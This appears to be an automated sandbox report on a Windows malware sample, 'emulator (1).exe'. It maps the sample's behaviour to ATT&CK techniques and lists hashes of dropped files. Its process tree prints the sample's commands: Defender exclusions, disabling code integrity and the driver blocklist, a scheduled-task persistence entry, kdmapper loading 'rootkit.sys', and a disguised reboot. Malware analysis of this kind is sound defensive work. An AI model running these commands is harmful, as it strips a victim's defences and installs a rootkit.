8f43dfebef728a508cf937abc22780d5033182d193a41014b92eecfcf8f447f6

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
12s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emulator (1).exe
Size 5.7MB
Sample261022-thdgfsssax
SHA256 8f43dfebef728a508cf937abc22780d5033182d193a41014b92eecfcf8f447f6
MD5 386e849fce83bb83a2d6782af0f09422
SHA1 d6026b2757b1808e0e3f30d99c2a5d70543bcbfc
SHA512 30aa50a41e0a214fc8c7bd29708281c09318ae38819e53a058916bf369165c22f4cbcd0c8e7f96e5fe08f77897fa79dd9babc9705e7ee3f2130bbb21fa5fdcd3
SSDEEP 98304:G6IA9NSIhxC0PO8F/bK5YxzlTx4Kc5hqsAJkY3z6T6:LI2SIhxZPO8F/bK5Yz
TLSH
T106564A4365DB0CE9CED7A7B861C7A336A334FD718A296F2B9644C6302D537C16E1AB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	emulator (1).exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	emulator (1).exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe
3688	powershell.exe
2220	powershell.exe
3688	powershell.exe
3952	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	emulator (1).exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	emulator (1).exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\tvZcmchSSPvJGyJJmJcyHzJ\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\tvZcmchSSPvJGyJJmJcyHzJ"	kdmapper_classic.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	emulator (1).exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	emulator (1).exe

Executes dropped EXE 2 IoCs

pid	Process
256	WindowsUpdate.exe
2080	kdmapper_classic.exe

Loads dropped DLL 4 IoCs

pid	Process
2080	kdmapper_classic.exe
2080	kdmapper_classic.exe
2080	kdmapper_classic.exe
2080	kdmapper_classic.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4452	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\ProgramData\\WTSvc\\WindowsUpdate.exe"	emulator (1).exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
3	discord.com
4	discord.com

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4452	cmd.exe
4072	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1072	cmd.exe
3172	cmd.exe
6096	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
4232	emulator (1).exe
2220	powershell.exe
2220	powershell.exe
3688	powershell.exe
3688	powershell.exe
2080	kdmapper_classic.exe
2080	kdmapper_classic.exe
3952	powershell.exe
3952	powershell.exe
3952	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
2080	kdmapper_classic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe
Token: 36	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe
Token: 36	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe
Token: 36	2220	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 2220	4232	emulator (1).exe	89
PID 4232 wrote to memory of 2620	4232	emulator (1).exe	92
PID 4232 wrote to memory of 4452	4232	emulator (1).exe	94
PID 4452 wrote to memory of 3688	4452	cmd.exe	96
PID 4232 wrote to memory of 2080	4232	emulator (1).exe	100
PID 4232 wrote to memory of 1072	4232	emulator (1).exe	102
PID 1072 wrote to memory of 5896	1072	cmd.exe	104
PID 4232 wrote to memory of 3172	4232	emulator (1).exe	105
PID 3172 wrote to memory of 5840	3172	cmd.exe	107
PID 4232 wrote to memory of 4072	4232	emulator (1).exe	108
PID 4072 wrote to memory of 3952	4072	cmd.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\emulator (1).exe
"C:\Users\Admin\AppData\Local\Temp\emulator (1).exe"
1⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'; Add-MpPreference -ExclusionProcess 'kdmapper.exe'; Add-MpPreference -ExclusionProcess 'rat.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn "WindowsUpdate" /tr "C" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2620
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WTSvc'"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WTSvc'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3688
- C:\ProgramData\WTSvc\kdmapper_classic.exe
  "C:\ProgramData\WTSvc\kdmapper_classic.exe" "C:\ProgramData\WTSvc\rootkit.sys"
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: LoadsDriver
  PID:2080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    PID:5896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    PID:5840
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\WTSvc\setup_driver.ps1"
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\WTSvc\setup_driver.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c shutdown /r /t 120 /c "Windows Update"
  2⤵
  - Executes a command shell one-liner
  PID:6096
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 120 /c "Windows Update"
    3⤵
    PID:4984

C:\ProgramData\WTSvc\WindowsUpdate.exe
C:\ProgramData\WTSvc\WindowsUpdate.exe
1⤵
- Executes dropped EXE
PID:256

C:\Windows\System32\drivers\WindowsTelemetrySvc.sys
C:\Windows\System32\drivers\WindowsTelemetrySvc.sys
1⤵
PID:3320

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
PID:2632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MSVCP140.dll

Path C:\ProgramData\WTSvc\MSVCP140.dll
Size 628KB
SHA256 7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca
MD5 4796bb351c00d47717906bbee4e20837
SHA1 480c725faafa25d2274bde6f8791bcd8b525e5e5
SHA512 2777a9b104f0ac244d90572e02c2f2fb911ce4e8bd9f7b099074d5614c9a7d423c14eb6c46087167e160b6c614d6fbdd9b762b41eb7f023ff66ee65837071db5
SSDEEP 12288:60hIKSLeXl9vce+YtEd5tFYDIpDv5bKwWKBaXzogmIGq2HZ5D13EXwbkDZmaD4EJ:60VkwDIpsezBbkDZmaDH50NQEKZm+jWA
TLSH
T1E8D42923774D02A0D195F2B9A1C74306E7F1B8464323A3C392EADA6D2F5B3D9677B250
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\ProgramData\WTSvc\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\ProgramData\WTSvc\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WindowsUpdate.exe

Path C:\ProgramData\WTSvc\WindowsUpdate.exe
Size 5.7MB
SHA256 8f43dfebef728a508cf937abc22780d5033182d193a41014b92eecfcf8f447f6
MD5 386e849fce83bb83a2d6782af0f09422
SHA1 d6026b2757b1808e0e3f30d99c2a5d70543bcbfc
SHA512 30aa50a41e0a214fc8c7bd29708281c09318ae38819e53a058916bf369165c22f4cbcd0c8e7f96e5fe08f77897fa79dd9babc9705e7ee3f2130bbb21fa5fdcd3
SSDEEP 98304:G6IA9NSIhxC0PO8F/bK5YxzlTx4Kc5hqsAJkY3z6T6:LI2SIhxZPO8F/bK5Yz
TLSH
T106564A4365DB0CE9CED7A7B861C7A336A334FD718A296F2B9644C6302D537C16E1AB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdmapper_classic.exe

Path C:\ProgramData\WTSvc\kdmapper_classic.exe
Size 154KB
SHA256 e64bc322ba9938ced8031effccdf5395ba750a0f7f02b2a9a13ea7c11b923c5d
MD5 0eade8964e5d5db8bed29c143955d06d
SHA1 49cc310ac7ba6ab209fea5c9908a6915f7b296ce
SHA512 b8f8262c7a802bf9aa897fa89ffa7a593bb27a21bf6a882611fabbeb0f251fa895169dcdc97165b1a7725eb84f1b1fff1e4c6bdb7506c88258d39b9376d3fb16
SSDEEP 3072:ERID4SUjkYSeoMkwf3mJTQSaMm5/6VEogoMw5:ElSUmZ7WlqEoglw5
TLSH
T1C0F32C579BA4106DE2B7DAF8C9B20911EB717C950B74D2CF135048BA0F62BD1BA3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rootkit.sys

Path C:\ProgramData\WTSvc\rootkit.sys
Size 15KB
SHA256 0c7c0beb0aaae265c48625b354b1465079f90fcb7693302c52fc501c11129a07
MD5 e60327acfc9c5a191b87a6e91326db8e
SHA1 c872edc41100b031bb32507ed7fa0650fed3fccf
SHA512 253ac4c365dcaae36da2e5ed189e7272b9cf21a3a9624d0cf4d34da0c6ab767073dbcdc7a51d3a5247c77b771282b81502c14eb0aadf252112dc25922ff60210
SSDEEP 192:WUx771YqCeKVeMhnerIENiMKAmWmYulJAbxvOPu/1yqBdaTJC8ECZtMoxpPagPhJ:WktY9XVsUArh9vO4yqBd6JC41a7ZMUk
TLSH
T1667261F6ABF69CCBE696527D52D7D612307CFEE006638317023174331B16BD129DA28A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setup_driver.ps1

Path C:\ProgramData\WTSvc\setup_driver.ps1
Size 353B
SHA256 cf22313bad299444543287dff1e2ab5aa0a4d4f2c8ce7feb600c5bad857751ec
MD5 9a49d5985020b3f2827366294fbde4c0
SHA1 503abf861faa90981a8649f1de952ca1a24453c0
SHA512 34a734a1a614457470ab96ad36fa3f3ad558583d686d99fc974c2a81e87c83aaed6c381ed565d4249fe1eea4fc467dc7ec945a82b711304420890d8d40406b59
TLSH
T16BE026BDA054B0D5AD9608BDC166D8C06875C97A54F7B21CA681413942E442FC312485
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4fb025787851a7d907bbb74dbaa2bcf930c1393531cdf7e15b15460ab7045df7
MD5 98a96e7770bb7fc45245188075c743a3
SHA1 4053ea73bf4fd366f0c599af969f6988333b0879
SHA512 ccd89245c49d484fc38e1e4ae00c7306b5bb6e633294cfbecd20a65bb1703152f7ebaf3232f49f4e8787ea9d20055d7ca1d3e4c4d4d77629efb2f3331eb9d108
TLSH
T1C9216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1atylzf5.jr2.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1atylzf5.jr2.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

rat_log.txt

Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
Size 888B
SHA256 6bcb4a086534dfa77413908fced959a0698245fdebf1f8c13d08c7f2d36aec55
MD5 238f454a9a0997cfc554111a29341ccb
SHA1 83a01f9eed4f3427558b2762c6826e842082cf0d
SHA512 1ad460f8020f39eec9cdba56492115d8e63e0c764dfd1626c0043ae4b8473fa0024298ce1d0d6a8e22bc7759b800767b8dc7c5e2045fc4ae36c38bc8309b4a86
TLSH
T11F118C24C7CAF9387DD15B4DF03883D1E295886E8A6AB43A138CF29D000BA8FE3007C5
MD5 SHA1 SHA512 TLSH

Submit Download

rat_log.txt

Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
Size 177B
SHA256 83faae0495aefee636b1c3bebdc63a7c3328bccd39341c204f716351c49a3eaf
MD5 cae92f600fef11c99fcf7c7ff1c36480
SHA1 4e4f035dcd54642a4c6408ee6ba7ede31cbdf796
SHA512 44dcfc1cdbd5d96d82de68dcb394e159b6ec794c794e51b74d1039571a15bd8f178b161594b3121912c1954cc7f3ced1c6f249abe3268d715ff365a89aa82916
TLSH
T139C012F4038EBA70AD96AB4BA12AE7D3959111BB5C1A805281CD83951809C8C9301091
MD5 SHA1 SHA512 TLSH

Submit Download

rat_log.txt

Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
Size 334B
SHA256 f0f6ba450d20699dea2c04b74e846e1ab3714a171e371cdceadca35a1091d9b4
MD5 bb4992e11c5a60272e6e4db69f969918
SHA1 3dbe21950858640cd799ab92cc7d31b307477959
SHA512 ee56f3e97c58bba2032bdb463a3088ba7d72749fc73421bbd967c1b04fa842a8931c9d360f04546ed01314c4ff01c73eb62919e4fb56fe3d9336c603f9d648d5
TLSH
T114E086A00BCAF170BDD76B4EA025DAD3D05994BB8D2B942A63CCD7C5080898DD3043C4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/256-38-0x00007FF6909C0000-0x00007FF690D30000-memory.dmp

Download

memory/2220-22-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-8-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-18-0x0000020B9A030000-0x0000020B9A0E2000-memory.dmp

Download

memory/2220-25-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-26-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-27-0x0000020B99CF9000-0x0000020B99CFF000-memory.dmp

Download

memory/2220-102-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-21-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-20-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-16-0x0000020B99E00000-0x0000020B99E1E000-memory.dmp

Download

memory/2220-19-0x0000020BFFCB0000-0x0000020BFFCBA000-memory.dmp

Download

memory/2220-13-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-12-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-11-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-10-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-9-0x0000020BFFCD0000-0x0000020BFFCF2000-memory.dmp

Download

memory/2220-23-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-17-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

Download

memory/2220-5-0x00007FFBDB99F000-0x00007FFBDB9A0000-memory.dmp

Download

memory/3952-80-0x000001B5BC8E0000-0x000001B5BC8FE000-memory.dmp

Download

memory/4232-79-0x00007FF643BF0000-0x00007FF643F60000-memory.dmp

Download

memory/4232-1-0x00007FFBFE660000-0x00007FFBFE8C3000-memory.dmp

Download

memory/4232-103-0x00007FF643BF0000-0x00007FF643F60000-memory.dmp

Download